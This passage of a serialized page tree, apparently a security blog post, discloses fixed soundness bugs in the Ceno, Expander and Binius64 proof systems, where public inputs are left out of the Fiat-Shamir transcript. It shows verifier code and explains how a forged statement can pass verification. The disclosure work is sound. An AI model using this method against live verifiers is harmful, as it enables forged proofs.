tag":217,"props":56012,"children":56014},{"className":56013,"style":336},[258],[],{"type":26,"tag":217,"props":56016,"children":56018},{"className":56017},[341],[56019],{"type":32,"value":3540},{"type":26,"tag":217,"props":56021,"children":56023},{"className":56022,"style":336},[258],[],{"type":26,"tag":217,"props":56025,"children":56027},{"className":56026},[236],[56028,56032,56037,56041,56046],{"type":26,"tag":217,"props":56029,"children":56031},{"className":56030,"style":43002},[241],[],{"type":26,"tag":217,"props":56033,"children":56035},{"className":56034},[247,2152],[56036],{"type":32,"value":22057},{"type":26,"tag":217,"props":56038,"children":56040},{"className":56039,"style":259},[258],[],{"type":26,"tag":217,"props":56042,"children":56044},{"className":56043},[264],[56045],{"type":32,"value":267},{"type":26,"tag":217,"props":56047,"children":56049},{"className":56048,"style":259},[258],[],{"type":26,"tag":217,"props":56051,"children":56053},{"className":56052},[236],[56054,56058],{"type":26,"tag":217,"props":56055,"children":56057},{"className":56056,"style":5294},[241],[],{"type":26,"tag":217,"props":56059,"children":56061},{"className":56060},[247],[56062],{"type":32,"value":1883},{"type":26,"tag":39,"props":56064,"children":56065},{},[56066],{"type":32,"value":56067},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":26,"tag":39,"props":56069,"children":56070},{},[56071,56075,56077,56084,56086,56093],{"type":26,"tag":9348,"props":56072,"children":56073},{},[56074],{"type":32,"value":51625},{"type":32,"value":56076}," Fixed on March 5, 2026 via ",{"type":26,"tag":163,"props":56078,"children":56081},{"href":56079,"rel":56080},"https://github.com/scroll-tech/ceno/pull/1262",[167],[56082],{"type":32,"value":56083},"PR #1262",{"type":32,"value":56085}," (original report: ",{"type":26,"tag":163,"props":56087,"children":56090},{"href":56088,"rel":56089},"https://github.com/scroll-tech/ceno/issues/1125",[167],[56091],{"type":32,"value":56092},"#1125",{"type":32,"value":1889},{"type":26,"tag":11933,"props":56095,"children":56096},{},[],{"type":26,"tag":607,"props":56098,"children":56100},{"id":56099},"expander-polyhedra",[56101],{"type":32,"value":56102},"Expander (Polyhedra)",{"type":26,"tag":39,"props":56104,"children":56105},{},[56106],{"type":32,"value":56107},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":26,"tag":39,"props":56109,"children":56110},{},[56111],{"type":26,"tag":9348,"props":56112,"children":56113},{},[56114],{"type":32,"value":50332},{"type":26,"tag":207,"props":56116,"children":56118},{"code":56117},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[56119],{"type":26,"tag":83,"props":56120,"children":56121},{"__ignoreMap":8},[56122],{"type":32,"value":56117},{"type":26,"tag":39,"props":56124,"children":56125},{},[56126,56128,56134],{"type":32,"value":56127},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":26,"tag":83,"props":56129,"children":56131},{"className":56130},[],[56132],{"type":32,"value":56133},"eval_cst",{"type":32,"value":56135}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":26,"tag":207,"props":56137,"children":56141},{"code":56138,"language":56139,"meta":8,"className":56140,"style":8},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n","rust","language-rust shiki shiki-themes slack-dark",[56142],{"type":26,"tag":83,"props":56143,"children":56144},{"__ignoreMap":8},[56145],{"type":26,"tag":217,"props":56146,"children":56147},{"class":7028,"line":7029},[56148,56152,56157,56162,56167,56171,56175,56179,56184,56188,56193,56198,56202,56207],{"type":26,"tag":217,"props":56149,"children":56150},{"style":7054},[56151],{"type":32,"value":49026},{"type":26,"tag":217,"props":56153,"children":56154},{"style":7149},[56155],{"type":32,"value":56156}," -=",{"type":26,"tag":217,"props":56158,"children":56159},{"style":7119},[56160],{"type":32,"value":56161}," GKRVerifierHelper",{"type":26,"tag":217,"props":56163,"children":56164},{"style":7149},[56165],{"type":32,"value":56166},"::",{"type":26,"tag":217,"props":56168,"children":56169},{"style":7064},[56170],{"type":32,"value":56133},{"type":26,"tag":217,"props":56172,"children":56173},{"style":7048},[56174],{"type":32,"value":1851},{"type":26,"tag":217,"props":56176,"children":56177},{"style":7149},[56178],{"type":32,"value":9804},{"type":26,"tag":217,"props":56180,"children":56181},{"style":7054},[56182],{"type":32,"value":56183},"layer",{"type":26,"tag":217,"props":56185,"children":56186},{"style":7149},[56187],{"type":32,"value":180},{"type":26,"tag":217,"props":56189,"children":56190},{"style":7048},[56191],{"type":32,"value":56192},"const_, ",{"type":26,"tag":217,"props":56194,"children":56195},{"style":7054},[56196],{"type":32,"value":56197},"public_input",{"type":26,"tag":217,"props":56199,"children":56200},{"style":7048},[56201],{"type":32,"value":7599},{"type":26,"tag":217,"props":56203,"children":56204},{"style":7054},[56205],{"type":32,"value":56206},"sp",{"type":26,"tag":217,"props":56208,"children":56209},{"style":7048},[56210],{"type":32,"value":7669},{"type":26,"tag":39,"props":56212,"children":56213},{},[56214,56216,56221],{"type":32,"value":56215},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":26,"tag":83,"props":56217,"children":56219},{"className":56218},[],[56220],{"type":32,"value":56206},{"type":32,"value":8256},{"type":26,"tag":39,"props":56223,"children":56224},{},[56225],{"type":26,"tag":9348,"props":56226,"children":56227},{},[56228],{"type":32,"value":56229},"The vulnerability:",{"type":26,"tag":39,"props":56231,"children":56232},{},[56233,56238],{"type":26,"tag":83,"props":56234,"children":56236},{"className":56235},[],[56237],{"type":32,"value":56197},{"type":32,"value":56239}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":26,"tag":39,"props":56241,"children":56242},{},[56243],{"type":26,"tag":6468,"props":56244,"children":56247},{"alt":56245,"src":56246},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":26,"tag":39,"props":56249,"children":56250},{},[56251,56252,56257],{"type":32,"value":475},{"type":26,"tag":83,"props":56253,"children":56255},{"className":56254},[],[56256],{"type":32,"value":56133},{"type":32,"value":56258}," function computes a linear combination:",{"type":26,"tag":39,"props":56260,"children":56261},{},[56262],{"type":26,"tag":83,"props":56263,"children":56265},{"className":56264},[213,4703],[56266],{"type":26,"tag":217,"props":56267,"children":56269},{"className":56268},[225],[56270],{"type":26,"tag":217,"props":56271,"children":56273},{"className":56272,"ariaHidden":231},[230],[56274,56319,56444],{"type":26,"tag":217,"props":56275,"children":56277},{"className":56276},[236],[56278,56282,56291,56296,56306,56310,56315],{"type":26,"tag":217,"props":56279,"children":56281},{"className":56280,"style":242},[241],[],{"type":26,"tag":217,"props":56283,"children":56285},{"className":56284},[247,32],[56286],{"type":26,"tag":217,"props":56287,"children":56289},{"className":56288},[247],[56290],{"type":32,"value":33126},{"type":26,"tag":217,"props":56292,"children":56294},{"className":56293,"style":2753},[247],[56295],{"type":32,"value":49012},{"type":26,"tag":217,"props":56297,"children":56299},{"className":56298},[247,32],[56300],{"type":26,"tag":217,"props":56301,"children":56303},{"className":56302},[247],[56304],{"type":32,"value":56305},"cst",{"type":26,"tag":217,"props":56307,"children":56309},{"className":56308,"style":259},[258],[],{"type":26,"tag":217,"props":56311,"children":56313},{"className":56312},[264],[56314],{"type":32,"value":267},{"type":26,"tag":217,"props":56316,"children":56318},{"className":56317,"style":259},[258],[],{"type":26,"tag":217,"props":56320,"children":56322},{"className":56321},[236],[56323,56327,56384,56388,56416,56421,56426,56431,56435,56440],{"type":26,"tag":217,"props":56324,"children":56326},{"className":56325,"style":49604},[241],[],{"type":26,"tag":217,"props":56328,"children":56330},{"className":56329},[1842],[56331,56336],{"type":26,"tag":217,"props":56332,"children":56334},{"className":56333,"style":22482},[1842,4049,22481],[56335],{"type":32,"value":4053},{"type":26,"tag":217,"props":56337,"children":56339},{"className":56338},[2160],[56340],{"type":26,"tag":217,"props":56341,"children":56343},{"className":56342},[299,300],[56344,56373],{"type":26,"tag":217,"props":56345,"children":56347},{"className":56346},[305],[56348,56368],{"type":26,"tag":217,"props":56349,"children":56351},{"className":56350,"style":49122},[310],[56352],{"type":26,"tag":217,"props":56353,"children":56354},{"style":43746},[56355,56359],{"type":26,"tag":217,"props":56356,"children":56358},{"className":56357,"style":2182},[320],[],{"type":26,"tag":217,"props":56360,"children":56362},{"className":56361},[2187,2188,2189,2190],[56363],{"type":26,"tag":217,"props":56364,"children":56366},{"className":56365},[247,2152,2190],[56367],{"type":32,"value":2290},{"type":26,"tag":217,"props":56369,"children":56371},{"className":56370},[409],[56372],{"type":32,"value":412},{"type":26,"tag":217,"props":56374,"children":56376},{"className":56375},[305],[56377],{"type":26,"tag":217,"props":56378,"children":56380},{"className":56379,"style":49406},[310],[56381],{"type":26,"tag":217,"props":56382,"children":56383},{},[],{"type":26,"tag":217,"props":56385,"children":56387},{"className":56386,"style":1872},[258],[],{"type":26,"tag":217,"props":56389,"children":56391},{"className":56390},[247],[56392,56401,56406],{"type":26,"tag":217,"props":56393,"children":56395},{"className":56394},[247,32],[56396],{"type":26,"tag":217,"props":56397,"children":56399},{"className":56398},[247],[56400],{"type":32,"value":52893},{"type":26,"tag":217,"props":56402,"children":56404},{"className":56403,"style":2753},[247],[56405],{"type":32,"value":49012},{"type":26,"tag":217,"props":56407,"children":56409},{"className":56408},[247,32],[56410],{"type":26,"tag":217,"props":56411,"children":56413},{"className":56412},[247],[56414],{"type":32,"value":56415},"input",{"type":26,"tag":217,"props":56417,"children":56419},{"className":56418},[288],[56420],{"type":32,"value":7127},{"type":26,"tag":217,"props":56422,"children":56424},{"className":56423},[247,2152],[56425],{"type":32,"value":2290},{"type":26,"tag":217,"props":56427,"children":56429},{"className":56428},[428],[56430],{"type":32,"value":21845},{"type":26,"tag":217,"props":56432,"children":56434},{"className":56433,"style":336},[258],[],{"type":26,"tag":217,"props":56436,"children":56438},{"className":56437},[341],[56439],{"type":32,"value":344},{"type":26,"tag":217,"props":56441,"children":56443},{"className":56442,"style":336},[258],[],{"type":26,"tag":217,"props":56445,"children":56447},{"className":56446},[236],[56448,56452,56461,56466,56471,56476,56480,56529],{"type":26,"tag":217,"props":56449,"children":56451},{"className":56450,"style":5514},[241],[],{"type":26,"tag":217,"props":56453,"children":56455},{"className":56454},[247,32],[56456],{"type":26,"tag":217,"props":56457,"children":56459},{"className":56458},[247],[56460],{"type":32,"value":47510},{"type":26,"tag":217,"props":56462,"children":56464},{"className":56463},[288],[56465],{"type":32,"value":1851},{"type":26,"tag":217,"props":56467,"children":56469},{"className":56468},[247,2152],[56470],{"type":32,"value":2290},{"type":26,"tag":217,"props":56472,"children":56474},{"className":56473},[1865],[56475],{"type":32,"value":1868},{"type":26,"tag":217,"props":56477,"children":56479},{"className":56478,"style":1872},[258],[],{"type":26,"tag":217,"props":56481,"children":56483},{"className":56482},[247,47072],[56484],{"type":26,"tag":217,"props":56485,"children":56487},{"className":56486},[299],[56488],{"type":26,"tag":217,"props":56489,"children":56491},{"className":56490},[305],[56492],{"type":26,"tag":217,"props":56493,"children":56495},{"className":56494,"style":47157},[310],[56496,56508],{"type":26,"tag":217,"props":56497,"children":56498},{"style":47089},[56499,56503],{"type":26,"tag":217,"props":56500,"children":56502},{"className":56501,"style":321},[320],[],{"type":26,"tag":217,"props":56504,"children":56506},{"className":56505,"style":2753},[247,2152],[56507],{"type":32,"value":19414},{"type":26,"tag":217,"props":56509,"children":56510},{"style":47089},[56511,56515],{"type":26,"tag":217,"props":56512,"children":56514},{"className":56513,"style":321},[320],[],{"type":26,"tag":217,"props":56516,"children":56518},{"className":56517,"style":47181},[47111],[56519],{"type":26,"tag":217,"props":56520,"children":56522},{"className":56521,"style":47187},[47186],[56523],{"type":26,"tag":47190,"props":56524,"children":56525},{"xmlns":47192,"width":47193,"height":47194,"style":47195,"viewBox":47196,"preserveAspectRatio":47197},[56526],{"type":26,"tag":41011,"props":56527,"children":56528},{"d":47201},[],{"type":26,"tag":217,"props":56530,"children":56532},{"className":56531},[428],[56533],{"type":32,"value":1889},{"type":26,"tag":39,"props":56535,"children":56536},{},[56537,56538,56607,56609,56614,56616,56621],{"type":32,"value":50752},{"type":26,"tag":83,"props":56539,"children":56541},{"className":56540},[213,4703],[56542],{"type":26,"tag":217,"props":56543,"children":56545},{"className":56544},[225],[56546],{"type":26,"tag":217,"props":56547,"children":56549},{"className":56548,"ariaHidden":231},[230],[56550],{"type":26,"tag":217,"props":56551,"children":56553},{"className":56552},[236],[56554,56558],{"type":26,"tag":217,"props":56555,"children":56557},{"className":56556,"style":47157},[241],[],{"type":26,"tag":217,"props":56559,"children":56561},{"className":56560},[247,47072],[56562],{"type":26,"tag":217,"props":56563,"children":56565},{"className":56564},[299],[56566],{"type":26,"tag":217,"props":56567,"children":56569},{"className":56568},[305],[56570],{"type":26,"tag":217,"props":56571,"children":56573},{"className":56572,"style":47157},[310],[56574,56586],{"type":26,"tag":217,"props":56575,"children":56576},{"style":47089},[56577,56581],{"type":26,"tag":217,"props":56578,"children":56580},{"className":56579,"style":321},[320],[],{"type":26,"tag":217,"props":56582,"children":56584},{"className":56583,"style":2753},[247,2152],[56585],{"type":32,"value":19414},{"type":26,"tag":217,"props":56587,"children":56588},{"style":47089},[56589,56593],{"type":26,"tag":217,"props":56590,"children":56592},{"className":56591,"style":321},[320],[],{"type":26,"tag":217,"props":56594,"children":56596},{"className":56595,"style":47181},[47111],[56597],{"type":26,"tag":217,"props":56598,"children":56600},{"className":56599,"style":47187},[47186],[56601],{"type":26,"tag":47190,"props":56602,"children":56603},{"xmlns":47192,"width":47193,"height":47194,"style":47195,"viewBox":47196,"preserveAspectRatio":47197},[56604],{"type":26,"tag":41011,"props":56605,"children":56606},{"d":47201},[],{"type":32,"value":56608}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":26,"tag":83,"props":56610,"children":56612},{"className":56611},[],[56613],{"type":32,"value":56197},{"type":32,"value":56615},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":26,"tag":83,"props":56617,"children":56619},{"className":56618},[],[56620],{"type":32,"value":56197},{"type":32,"value":56622}," that makes the verifier's check pass.",{"type":26,"tag":39,"props":56624,"children":56625},{},[56626,56630,56632,56639,56640,56643,56650],{"type":26,"tag":9348,"props":56627,"children":56628},{},[56629],{"type":32,"value":51625},{"type":32,"value":56631}," Fixed on 21st January 2026 via ",{"type":26,"tag":163,"props":56633,"children":56636},{"href":56634,"rel":56635},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[167],[56637],{"type":32,"value":56638},"commit 4a8c2be",{"type":32,"value":19795},{"type":26,"tag":42610,"props":56641,"children":56642},{},[],{"type":26,"tag":163,"props":56644,"children":56647},{"href":56645,"rel":56646},"https://blog.polyhedra.network/expander-bug-bounty/",[167],[56648],{"type":32,"value":56649},"Claimed 500k Bug bounty",{"type":32,"value":56651}," award pending",{"type":26,"tag":11933,"props":56653,"children":56654},{},[],{"type":26,"tag":607,"props":56656,"children":56658},{"id":56657},"binius64",[56659],{"type":32,"value":42770},{"type":26,"tag":39,"props":56661,"children":56662},{},[56663,56665,56790],{"type":32,"value":56664},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":26,"tag":83,"props":56666,"children":56668},{"className":56667},[213,4703],[56669],{"type":26,"tag":217,"props":56670,"children":56672},{"className":56671},[225],[56673],{"type":26,"tag":217,"props":56674,"children":56676},{"className":56675,"ariaHidden":231},[230],[56677],{"type":26,"tag":217,"props":56678,"children":56680},{"className":56679},[236],[56681,56686],{"type":26,"tag":217,"props":56682,"children":56685},{"className":56683,"style":56684},[241],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":26,"tag":217,"props":56687,"children":56689},{"className":56688},[247],[56690,56695],{"type":26,"tag":217,"props":56691,"children":56693},{"className":56692},[247,19208],[56694],{"type":32,"value":5948},{"type":26,"tag":217,"props":56696,"children":56698},{"className":56697},[2160],[56699],{"type":26,"tag":217,"props":56700,"children":56702},{"className":56701},[299,300],[56703,56778],{"type":26,"tag":217,"props":56704,"children":56706},{"className":56705},[305],[56707,56773],{"type":26,"tag":217,"props":56708,"children":56710},{"className":56709,"style":5098},[310],[56711],{"type":26,"tag":217,"props":56712,"children":56714},{"style":56713},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[56715,56719],{"type":26,"tag":217,"props":56716,"children":56718},{"className":56717,"style":2182},[320],[],{"type":26,"tag":217,"props":56720,"children":56722},{"className":56721},[2187,2188,2189,2190],[56723],{"type":26,"tag":217,"props":56724,"children":56726},{"className":56725},[247,2190],[56727],{"type":26,"tag":217,"props":56728,"children":56730},{"className":56729},[247,2190],[56731,56736],{"type":26,"tag":217,"props":56732,"children":56734},{"className":56733},[247,2190],[56735],{"type":32,"value":332},{"type":26,"tag":217,"props":56737,"children":56739},{"className":56738},[2160],[56740],{"type":26,"tag":217,"props":56741,"children":56743},{"className":56742},[299],[56744],{"type":26,"tag":217,"props":56745,"children":56747},{"className":56746},[305],[56748],{"type":26,"tag":217,"props":56749,"children":56752},{"className":56750,"style":56751},[310],"height:0.7463em;",[56753],{"type":26,"tag":217,"props":56754,"children":56755},{"style":47378},[56756,56760],{"type":26,"tag":217,"props":56757,"children":56759},{"className":56758,"style":5107},[320],[],{"type":26,"tag":217,"props":56761,"children":56763},{"className":56762},[2187,5112,5113,2190],[56764],{"type":26,"tag":217,"props":56765,"children":56767},{"className":56766},[247,2190],[56768],{"type":26,"tag":217,"props":56769,"children":56771},{"className":56770},[247,2190],[56772],{"type":32,"value":11281},{"type":26,"tag":217,"props":56774,"children":56776},{"className":56775},[409],[56777],{"type":32,"value":412},{"type":26,"tag":217,"props":56779,"children":56781},{"className":56780},[305],[56782],{"type":26,"tag":217,"props":56783,"children":56786},{"className":56784,"style":56785},[310],"height:0.1776em;",[56787],{"type":26,"tag":217,"props":56788,"children":56789},{},[],{"type":32,"value":56791}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":26,"tag":39,"props":56793,"children":56794},{},[56795,56797,56802],{"type":32,"value":56796},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":26,"tag":9348,"props":56798,"children":56799},{},[56800],{"type":32,"value":56801},"Shift Protocol",{"type":32,"value":56803}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":26,"tag":39,"props":56805,"children":56806},{},[56807],{"type":26,"tag":9348,"props":56808,"children":56809},{},[56810],{"type":32,"value":56229},{"type":26,"tag":39,"props":56812,"children":56813},{},[56814],{"type":32,"value":56815},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":26,"tag":207,"props":56817,"children":56819},{"code":56818,"language":56139,"meta":8,"className":56140,"style":8},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[56820],{"type":26,"tag":83,"props":56821,"children":56822},{"__ignoreMap":8},[56823,56862,56887,56922,56930],{"type":26,"tag":217,"props":56824,"children":56825},{"class":7028,"line":7029},[56826,56831,56836,56841,56845,56849,56853,56857],{"type":26,"tag":217,"props":56827,"children":56828},{"style":7154},[56829],{"type":32,"value":56830},"pub",{"type":26,"tag":217,"props":56832,"children":56833},{"style":7154},[56834],{"type":32,"value":56835}," fn",{"type":26,"tag":217,"props":56837,"children":56838},{"style":7064},[56839],{"type":32,"value":56840}," verify",{"type":26,"tag":217,"props":56842,"children":56843},{"style":7048},[56844],{"type":32,"value":7289},{"type":26,"tag":217,"props":56846,"children":56847},{"style":7119},[56848],{"type":32,"value":5948},{"type":26,"tag":217,"props":56850,"children":56851},{"style":7048},[56852],{"type":32,"value":7599},{"type":26,"tag":217,"props":56854,"children":56855},{"style":7119},[56856],{"type":32,"value":51145},{"type":26,"tag":217,"props":56858,"children":56859},{"style":7048},[56860],{"type":32,"value":56861},">(\n",{"type":26,"tag":217,"props":56863,"children":56864},{"class":7028,"line":6770},[56865,56870,56874,56878,56883],{"type":26,"tag":217,"props":56866,"children":56867},{"style":7054},[56868],{"type":32,"value":56869},"    constraint_system",{"type":26,"tag":217,"props":56871,"children":56872},{"style":7149},[56873],{"type":32,"value":1473},{"type":26,"tag":217,"props":56875,"children":56876},{"style":7149},[56877],{"type":32,"value":10222},{"type":26,"tag":217,"props":56879,"children":56880},{"style":7119},[56881],{"type":32,"value":56882},"ConstraintSystem",{"type":26,"tag":217,"props":56884,"children":56885},{"style":7048},[56886],{"type":32,"value":10953},{"type":26,"tag":217,"props":56888,"children":56889},{"class":7028,"line":6779},[56890,56895,56899,56903,56907,56912,56917],{"type":26,"tag":217,"props":56891,"children":56892},{"style":7054},[56893],{"type":32,"value":56894},"    public",{"type":26,"tag":217,"props":56896,"children":56897},{"style":7149},[56898],{"type":32,"value":1473},{"type":26,"tag":217,"props":56900,"children":56901},{"style":7149},[56902],{"type":32,"value":10222},{"type":26,"tag":217,"props":56904,"children":56905},{"style":7048},[56906],{"type":32,"value":7127},{"type":26,"tag":217,"props":56908,"children":56909},{"style":7119},[56910],{"type":32,"value":56911},"Word",{"type":26,"tag":217,"props":56913,"children":56914},{"style":7048},[56915],{"type":32,"value":56916},"],    ",{"type":26,"tag":217,"props":56918,"children":56919},{"style":7033},[56920],{"type":32,"value":56921},"// \u003C- NEVER ABSORBED\n",{"type":26,"tag":217,"props":56923,"children":56924},{"class":7028,"line":7140},[56925],{"type":26,"tag":217,"props":56926,"children":56927},{"style":7033},[56928],{"type":32,"value":56929},"    // ...\n",{"type":26,"tag":217,"props":56931,"children":56932},{"class":7028,"line":7165},[56933,56937,56941,56946,56950,56955,56959,56963,56968,56973],{"type":26,"tag":217,"props":56934,"children":56935},{"style":7048},[56936],{"type":32,"value":8380},{"type":26,"tag":217,"props":56938,"children":56939},{"style":7149},[56940],{"type":32,"value":10115},{"type":26,"tag":217,"props":56942,"children":56943},{"style":7119},[56944],{"type":32,"value":56945}," Result",{"type":26,"tag":217,"props":56947,"children":56948},{"style":7048},[56949],{"type":32,"value":7289},{"type":26,"tag":217,"props":56951,"children":56952},{"style":7119},[56953],{"type":32,"value":56954},"VerifyOutput",{"type":26,"tag":217,"props":56956,"children":56957},{"style":7048},[56958],{"type":32,"value":7289},{"type":26,"tag":217,"props":56960,"children":56961},{"style":7119},[56962],{"type":32,"value":5948},{"type":26,"tag":217,"props":56964,"children":56965},{"style":7048},[56966],{"type":32,"value":56967},">, ",{"type":26,"tag":217,"props":56969,"children":56970},{"style":7119},[56971],{"type":32,"value":56972},"Error",{"type":26,"tag":217,"props":56974,"children":56975},{"style":7048},[56976],{"type":32,"value":7281},{"type":26,"tag":39,"props":56978,"children":56979},{},[56980,56982,56988,56989,56995,56997,57001],{"type":32,"value":56981},"In the shift protocol, challenges ",{"type":26,"tag":83,"props":56983,"children":56985},{"className":56984},[],[56986],{"type":32,"value":56987},"r_j",{"type":32,"value":1308},{"type":26,"tag":83,"props":56990,"children":56992},{"className":56991},[],[56993],{"type":32,"value":56994},"inout_eval_point",{"type":32,"value":56996}," are sampled ",{"type":26,"tag":9348,"props":56998,"children":56999},{},[57000],{"type":32,"value":21294},{"type":32,"value":57002}," the public witness is bound.",{"type":26,"tag":39,"props":57004,"children":57005},{},[57006],{"type":26,"tag":9348,"props":57007,"children":57008},{},[57009],{"type":32,"value":50348},{"type":26,"tag":39,"props":57011,"children":57012},{},[57013],{"type":26,"tag":6468,"props":57014,"children":57017},{"alt":57015,"src":57016},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":26,"tag":39,"props":57019,"children":57020},{},[57021],{"type":32,"value":57022},"During verification",{"type":26,"tag":6712,"props":57024,"children":57025},{},[57026,57046,57058,57078],{"type":26,"tag":2044,"props":57027,"children":57028},{},[57029,57031,57036,57038,57044],{"type":32,"value":57030},"Sumcheck produces challenge points ",{"type":26,"tag":83,"props":57032,"children":57034},{"className":57033},[],[57035],{"type":32,"value":56987},{"type":32,"value":57037}," (bit indices) and ",{"type":26,"tag":83,"props":57039,"children":57041},{"className":57040},[],[57042],{"type":32,"value":57043},"r_s",{"type":32,"value":57045}," (shift indices)",{"type":26,"tag":2044,"props":57047,"children":57048},{},[57049,57051,57056],{"type":32,"value":57050},"Verifier samples ",{"type":26,"tag":83,"props":57052,"children":57054},{"className":57053},[],[57055],{"type":32,"value":56994},{"type":32,"value":57057}," from transcript",{"type":26,"tag":2044,"props":57059,"children":57060},{},[57061,57063,57069,57071,57076],{"type":32,"value":57062},"Verifier computes ",{"type":26,"tag":83,"props":57064,"children":57066},{"className":57065},[],[57067],{"type":32,"value":57068},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":32,"value":57070}," using the unbound ",{"type":26,"tag":83,"props":57072,"children":57074},{"className":57073},[],[57075],{"type":32,"value":52893},{"type":32,"value":57077}," slice",{"type":26,"tag":2044,"props":57079,"children":57080},{},[57081,57082,57088],{"type":32,"value":475},{"type":26,"tag":83,"props":57083,"children":57085},{"className":57084},[],[57086],{"type":32,"value":57087},"public_eval",{"type":32,"value":57089}," feeds into subsequent verification equations",{"type":26,"tag":39,"props":57091,"children":57092},{},[57093],{"type":32,"value":57094},"The MLE evaluation is linear in the public witness bits:",{"type":26,"tag":39,"props":57096,"children":57097},{},[57098],{"type":26,"tag":83,"props":57099,"children":57101},{"className":57100},[213,4703],[57102],{"type":26,"tag":217,"props":57103,"children":57105},{"className":57104},[225],[57106],{"type":26,"tag":217,"props":57107,"children":57109},{"className":57108,"ariaHidden":231},[230],[57110,57154,57293,57405],{"type":26,"tag":217,"props":57111,"children":57113},{"className":57112},[236],[57114,57118,57127,57132,57141,57145,57150],{"type":26,"tag":217,"props":57115,"children":57117},{"className":57116,"style":242},[241],[],{"type":26,"tag":217,"props":57119,"children":57121},{"className":57120},[247,32],[57122],{"type":26,"tag":217,"props":57123,"children":57125},{"className":57124},[247],[57126],{"type":32,"value":52893},{"type":26,"tag":217,"props":57128,"children":57130},{"className":57129,"style":2753},[247],[57131],{"type":32,"value":49012},{"type":26,"tag":217,"props":57133,"children":57135},{"className":57134},[247,32],[57136],{"type":26,"tag":217,"props":57137,"children":57139},{"className":57138},[247],[57140],{"type":32,"value":33126},{"type":26,"tag":217,"props":57142,"children":57144},{"className":57143,"style":259},[258],[],{"type":26,"tag":217,"props":57146,"children":57148},{"className":57147},[264],[57149],{"type":32,"value":267},{"type":26,"tag":217,"props":57151,"children":57153},{"className":57152,"style":259},[258],[],{"type":26,"tag":217,"props":57155,"children":57157},{"className":57156},[236],[57158,57162,57233,57237,57250,57255,57260,57265,57270,57275,57280,57284,57289],{"type":26,"tag":217,"props":57159,"children":57161},{"className":57160,"style":53676},[241],[],{"type":26,"tag":217,"props":57163,"children":57165},{"className":57164},[1842],[57166,57171],{"type":26,"tag":217,"props":57167,"children":57169},{"className":57168,"style":22482},[1842,4049,22481],[57170],{"type":32,"value":4053},{"type":26,"tag":217,"props":57172,"children":57174},{"className":57173},[2160],[57175],{"type":26,"tag":217,"props":57176,"children":57178},{"className":57177},[299,300],[57179,57222],{"type":26,"tag":217,"props":57180,"children":57182},{"className":57181},[305],[57183,57217],{"type":26,"tag":217,"props":57184,"children":57186},{"className":57185,"style":48586},[310],[57187],{"type":26,"tag":217,"props":57188,"children":57189},{"style":43746},[57190,57194],{"type":26,"tag":217,"props":57191,"children":57193},{"className":57192,"style":2182},[320],[],{"type":26,"tag":217,"props":57195,"children":57197},{"className":57196},[2187,2188,2189,2190],[57198],{"type":26,"tag":217,"props":57199,"children":57201},{"className":57200},[247,2190],[57202,57207,57212],{"type":26,"tag":217,"props":57203,"children":57205},{"className":57204,"style":2468},[247,2152,2190],[57206],{"type":32,"value":2471},{"type":26,"tag":217,"props":57208,"children":57210},{"className":57209},[1865,2190],[57211],{"type":32,"value":1868},{"type":26,"tag":217,"props":57213,"children":57215},{"className":57214},[247,2152,2190],[57216],{"type":32,"value":14783},{"type":26,"tag":217,"props":57218,"children":57220},{"className":57219},[409],[57221],{"type":32,"value":412},{"type":26,"tag":217,"props":57223,"children":57225},{"className":57224},[305],[57226],{"type":26,"tag":217,"props":57227,"children":57229},{"className":57228,"style":49154},[310],[57230],{"type":26,"tag":217,"props":57231,"children":57232},{},[],{"type":26,"tag":217,"props":57234,"children":57236},{"className":57235,"style":1872},[258],[],{"type":26,"tag":217,"props":57238,"children":57240},{"className":57239},[247],[57241],{"type":26,"tag":217,"props":57242,"children":57244},{"className":57243},[247,32],[57245],{"type":26,"tag":217,"props":57246,"children":57248},{"className":57247},[247],[57249],{"type":32,"value":52893},{"type":26,"tag":217,"props":57251,"children":57253},{"className":57252},[288],[57254],{"type":32,"value":7127},{"type":26,"tag":217,"props":57256,"children":57258},{"className":57257,"style":2468},[247,2152],[57259],{"type":32,"value":2471},{"type":26,"tag":217,"props":57261,"children":57263},{"className":57262},[428],[57264],{"type":32,"value":21845},{"type":26,"tag":217,"props":57266,"children":57268},{"className":57267},[288],[57269],{"type":32,"value":7127},{"type":26,"tag":217,"props":57271,"children":57273},{"className":57272},[247,2152],[57274],{"type":32,"value":14783},{"type":26,"tag":217,"props":57276,"children":57278},{"className":57277},[428],[57279],{"type":32,"value":21845},{"type":26,"tag":217,"props":57281,"children":57283},{"className":57282,"style":336},[258],[],{"type":26,"tag":217,"props":57285,"children":57287},{"className":57286},[341],[57288],{"type":32,"value":344},{"type":26,"tag":217,"props":57290,"children":57292},{"className":57291,"style":336},[258],[],{"type":26,"tag":217,"props":57294,"children":57296},{"className":57295},[236],[57297,57302,57311,57